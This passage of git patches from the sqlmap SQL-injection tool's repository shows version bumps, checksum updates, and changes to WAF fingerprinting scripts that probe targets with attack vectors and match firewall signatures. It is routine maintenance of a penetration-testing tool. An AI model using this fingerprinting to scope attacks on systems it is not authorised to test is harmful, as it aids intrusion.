lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.32" +VERSION = "1.3.1.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 83f6073c6a3..7bf328305fb 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -00af73cfc49989f912a14303f0555eb2 lib/core/settings.py +b1f45422ccaa4ffb67909daa015f85d6 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -398,7 +398,7 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ 129c2436cf3e0dd9ba0429b2f45a0113 waf/360.py 2d63c46bed78aec2966a363d5db800fd waf/aesecure.py -2add09865acdb6edc40d326446ac6e40 waf/airlock.py +b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py 94eec6c5d02357596292d36a8533f08f waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py diff --git a/waf/airlock.py b/waf/airlock.py index fe6b9db6eb4..4f24026368d 100644 --- a/waf/airlock.py +++ b/waf/airlock.py @@ -16,8 +16,9 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= all(_ in (page or "") for _ in ("The server detected a syntax error in your request", "Check your request and all parameters", "Bad Request", "Your request ID was")) if retval: break From 9fef4336b00abd62a275cadcb36a0a59f2a41038 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 14:19:03 +0100 Subject: [PATCH 035/800] Minor update of safe3 WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/safe3.py | 3 ++- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d84839bf6c0..f8a87fc7ba5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.33" +VERSION = "1.3.1.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7bf328305fb..49701452c5a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -b1f45422ccaa4ffb67909daa015f85d6 lib/core/settings.py +030191317120c2bae605d2ef3ad5ff3b lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -448,7 +448,7 @@ ac60456fe7af4eb501d448910e98ee4b waf/radware.py 1315066be1abb4f1d34290239be0af14 waf/reblaze.py 987389e4f403b7615d6d8006420a6260 waf/requestvalidationmode.py 8dae5619edafaaceccf1c4eb051c7d22 waf/rsfirewall.py -2a7b234e903d13b3c21d6c17e05d1c46 waf/safe3.py +d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py 4382cb217354d816580ee07178d0a8c7 waf/safedog.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py diff --git a/waf/safe3.py b/waf/safe3.py index 2ed28a06529..81d6cbe5950 100644 --- a/waf/safe3.py +++ b/waf/safe3.py @@ -16,9 +16,10 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"Safe3WAF", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None retval |= re.search(r"Safe3 Web Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= all(_ in (page or "") for _ in ("403 Forbidden", "Safe3waf/")) if retval: break From d16252e959a1c94a42fcf9b084ee2607a15b41b0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 14:19:20 +0100 Subject: [PATCH 036/800] Removing junk --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/blockdos.py | 24 ------------------------ 3 files changed, 2 insertions(+), 27 deletions(-) delete mode 100644 waf/blockdos.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f8a87fc7ba5..8ec5e503f3e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.34" +VERSION = "1.3.1.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 49701452c5a..d6301a7be20 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -030191317120c2bae605d2ef3ad5ff3b lib/core/settings.py +ea3015b1f6bd7e4f462818ce2c11f6eb lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -406,7 +406,6 @@ b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py 4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py -ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py 8385218d8a1863dbfd4274db36880dfe waf/cerber.py 5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py diff --git a/waf/blockdos.py b/waf/blockdos.py deleted file mode 100644 index fe430ad70c7..00000000000 --- a/waf/blockdos.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "BlockDoS" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"BlockDos\.net", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval From c74c58c47e5a455103c83b95d4748e4d5eec435b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 14:27:19 +0100 Subject: [PATCH 037/800] Varnish Cache is not a proof of Varnish WAF usage --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/varnish.py | 5 ++--- 3 files changed, 5 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8ec5e503f3e..c5a986af1b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.35" +VERSION = "1.3.1.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d6301a7be20..d0440e320ac 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -ea3015b1f6bd7e4f462818ce2c11f6eb lib/core/settings.py +361ca22d9a342cf10e107b123f990733 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -463,7 +463,7 @@ ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 876c746d96193071271cb8b7e00e1422 waf/urlscan.py 45f28286ffd89200d4c9b6d88a7a518f waf/uspses.py -2d9d9fa8359a9f721e4b977d3da52410 waf/varnish.py +879315dc70deadc55b345c9bc65fa1d5 waf/varnish.py 455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py 67df54343a85fe053226e2a5483b2c64 waf/wallarm.py 114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py diff --git a/waf/varnish.py b/waf/varnish.py index 946e1271396..50263fe6930 100644 --- a/waf/varnish.py +++ b/waf/varnish.py @@ -15,9 +15,8 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code == 404 and re.search(r"\bXID: \d+", page or "") is not None - retval |= code >= 400 and "Request rejected by xVarnish-WAF" in (page or "") + page, _, code = get_page(get=vector) + retval = code >= 400 and "Request rejected by xVarnish-WAF" in (page or "") if retval: break From d31d2eeb273a39a1128e2bfd60bb87500edb0514 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 15:35:52 +0100 Subject: [PATCH 038/800] Minor updates and removal of faulty denyall.py WAF script (junk - FP) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 12 +++++------- waf/360.py | 5 ++--- waf/anquanbao.py | 3 +-- waf/cloudfront.py | 2 -- waf/denyall.py | 25 ------------------------- waf/hyperguard.py | 24 ------------------------ waf/varnish.py | 2 -- 8 files changed, 9 insertions(+), 66 deletions(-) delete mode 100644 waf/denyall.py delete mode 100644 waf/hyperguard.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c5a986af1b1..4304cefb399 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.36" +VERSION = "1.3.1.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d0440e320ac..b0b0c58d50d 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -361ca22d9a342cf10e107b123f990733 lib/core/settings.py +dc3b667a4287d48bd2e95b1e51439d67 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -396,10 +396,10 @@ a6b9c964f7c7d7012f8f434bbd84a041 udf/postgresql/windows/32/8.2/lib_postgresqlud d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ 0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -129c2436cf3e0dd9ba0429b2f45a0113 waf/360.py +d6f06b1463501392e7e578d511ffb4d8 waf/360.py 2d63c46bed78aec2966a363d5db800fd waf/aesecure.py b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py -94eec6c5d02357596292d36a8533f08f waf/anquanbao.py +8dcba3e7509e87e7829f445299bd2d3b waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py 33b6e6793ed3add457d7c909ec599ad3 waf/asm.py @@ -413,10 +413,9 @@ a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py 2565869c73a9a37f25deb317e8f5d9dd waf/cleantalk.py af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py -b2331b1b17cf0fad5ac0d991d1efdfa0 waf/cloudfront.py +9ae3dfb7c03da53fb67c6c3cb56b4827 waf/cloudfront.py 847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py 4ed76fdf2add2405bb6157ac025e01b9 waf/crawlprotect.py -e49bb75985f60556b4481dc085f3c62b waf/denyall.py 4254527ec80588f5289f56c7b52c4b30 waf/distil.py 886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py @@ -424,7 +423,6 @@ b65877b412a4c648aa442116ef94e2af waf/expressionengine.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py 4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py -2aa7775dac8df4a3cdb736fdf51dc9cb waf/hyperguard.py 256a7ea2c1cd2745fe788cf8f6123f8a waf/imunify360.py 4c4d480c155ae99262043c80a76ec1d5 waf/incapsula.py fb6be55d21a70765e35549af2484f762 waf/__init__.py @@ -463,7 +461,7 @@ ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 876c746d96193071271cb8b7e00e1422 waf/urlscan.py 45f28286ffd89200d4c9b6d88a7a518f waf/uspses.py -879315dc70deadc55b345c9bc65fa1d5 waf/varnish.py +80314083009c87d32bf32d84e8bbb7be waf/varnish.py 455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py 67df54343a85fe053226e2a5483b2c64 waf/wallarm.py 114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py diff --git a/waf/360.py b/waf/360.py index 25c61f75a3d..06d287e2168 100644 --- a/waf/360.py +++ b/waf/360.py @@ -5,8 +5,6 @@ See the file 'LICENSE' for copying permission """ -import re - from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "360 Web Application Firewall (360)" @@ -16,8 +14,9 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"wangzhan\.360\.cn", headers.get("X-Powered-By-360wzb", ""), re.I) is not None + retval = headers.get("X-Powered-By-360wzb") is not None retval |= code == 493 and "/wzws-waf-cgi/" in (page or "") + retval |= all(_ in (page or "") for _ in ("eventID", "If you are the Webmaster", "493")) if retval: break diff --git a/waf/anquanbao.py b/waf/anquanbao.py index d0b3d36e6b5..c20934de71d 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -16,8 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"MISS", headers.get("X-Powered-By-Anquanbao", ""), re.I) is not None - retval |= code == 405 and any(_ in (page or "") for _ in ("/aqb_cc/error/", "hidden_intercept_time")) + retval = code == 405 and any(_ in (page or "") for _ in ("/aqb_cc/error/", "hidden_intercept_time")) if retval: break diff --git a/waf/cloudfront.py b/waf/cloudfront.py index c02163eed96..230c1fcb760 100644 --- a/waf/cloudfront.py +++ b/waf/cloudfront.py @@ -5,8 +5,6 @@ See the file 'LICENSE' for copying permission """ -import re - from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "CloudFront (Amazon)" diff --git a/waf/denyall.py b/waf/denyall.py deleted file mode 100644 index 6da57b63d6e..00000000000 --- a/waf/denyall.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Deny All Web Application Firewall (DenyAll)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\Asessioncookie=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= code == 200 and re.search(r"\ACondition Intercepted", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/hyperguard.py b/waf/hyperguard.py deleted file mode 100644 index 619e6f04fad..00000000000 --- a/waf/hyperguard.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Hyperguard Web Application Firewall (art of defence)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"\AODSESSION=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/varnish.py b/waf/varnish.py index 50263fe6930..f92ade613d0 100644 --- a/waf/varnish.py +++ b/waf/varnish.py @@ -5,8 +5,6 @@ See the file 'LICENSE' for copying permission """ -import re - from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Varnish FireWall (OWASP)" From d7ba7150ce610e1b4c31d9f3760e02fb252ee11e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 15:56:49 +0100 Subject: [PATCH 039/800] Removing junk --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/stingray.py | 24 ------------------------ 3 files changed, 2 insertions(+), 27 deletions(-) delete mode 100644 waf/stingray.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4304cefb399..f5c05a939cb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.37" +VERSION = "1.3.1.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index b0b0c58d50d..26031afa3c7 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -dc3b667a4287d48bd2e95b1e51439d67 lib/core/settings.py +28e6d63edd15884c6f33ecbda6f399c6 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -454,7 +454,6 @@ ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py 4a11ba8e5f3995b35f5fc189b8c2692e waf/stackpath.py -a0aa5997d0d5db18920840220dc4ad36 waf/stingray.py 74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py 205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py diff --git a/waf/stingray.py b/waf/stingray.py deleted file mode 100644 index bdbda8edf3a..00000000000 --- a/waf/stingray.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Stingray Application Firewall (Riverbed / Brocade)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, code = get_page(get=vector) - retval = code in (403, 500) and re.search(r"\AX-Mapping-", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval From 17be4d63741d5a0b8576d2a1e60a13d0e10430ed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 16:05:46 +0100 Subject: [PATCH 040/800] Minor update --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/{uspses.py => secureentry.py} | 6 +++--- 3 files changed, 6 insertions(+), 6 deletions(-) rename waf/{uspses.py => secureentry.py} (61%) diff --git a/lib/core/settings.py b/lib/core/settings.py index f5c05a939cb..36b42c2fad5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.38" +VERSION = "1.3.1.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 26031afa3c7..4a6b726d292 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -28e6d63edd15884c6f33ecbda6f399c6 lib/core/settings.py +8013b106ba03ae4fbaef343f20a0fa86 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -447,6 +447,7 @@ ac60456fe7af4eb501d448910e98ee4b waf/radware.py 8dae5619edafaaceccf1c4eb051c7d22 waf/rsfirewall.py d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py 4382cb217354d816580ee07178d0a8c7 waf/safedog.py +34440ee94fcff88b4158e86635176547 waf/secureentry.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py @@ -459,7 +460,6 @@ a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 876c746d96193071271cb8b7e00e1422 waf/urlscan.py -45f28286ffd89200d4c9b6d88a7a518f waf/uspses.py 80314083009c87d32bf32d84e8bbb7be waf/varnish.py 455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py 67df54343a85fe053226e2a5483b2c64 waf/wallarm.py diff --git a/waf/uspses.py b/waf/secureentry.py similarity index 61% rename from waf/uspses.py rename to waf/secureentry.py index 7f857240e27..601f13b2264 100644 --- a/waf/uspses.py +++ b/waf/secureentry.py @@ -10,14 +10,14 @@ from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS -__product__ = "USP Secure Entry Server (United Security Providers)" +__product__ = "Secure Entry Server (United Security Providers)" def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"Secure Entry Server", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + page, headers, code = get_page(get=vector) + retval = code >= 400 and re.search(r"Secure Entry Server", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break From 204c1950fc5b9bdc5bd6bdd884a57101b2f0e8e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 16:43:06 +0100 Subject: [PATCH 041/800] Fixes #3433 --- lib/core/settings.py | 2 +- lib/utils/hash.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 36b42c2fad5..a206eb7d08d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.39" +VERSION = "1.3.1.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 3985670f96b..4ea776607ab 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -19,7 +19,7 @@ # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) _ = multiprocessing.Value('i') -except (ImportError, OSError): +except (ImportError, OSError, AttributeError): pass else: try: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4a6b726d292..b0e4b75741d 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -8013b106ba03ae4fbaef343f20a0fa86 lib/core/settings.py +af9f5e98db9e56caf828065cbadecc6f lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -108,7 +108,7 @@ da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py 0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py 1fc47aa8860f809d103048e4eb51cdd2 lib/utils/hashdb.py -e571f559826c08f05d060625b4e9dcdd lib/utils/hash.py +ef3fadd11bc45552d26f00b34f732097 lib/utils/hash.py 17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py 2a40a6bd1779f7db5199f089411b1c1c lib/utils/pivotdumptable.py From aea3749015a958e65036e73d31e035ce13f1e3dc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Jan 2019 12:35:35 +0100 Subject: [PATCH 042/800] Dealing with FP for expressionengine.py --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/expressionengine.py | 3 +-- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a206eb7d08d..32ce8db7c78 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.40" +VERSION = "1.3.1.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git 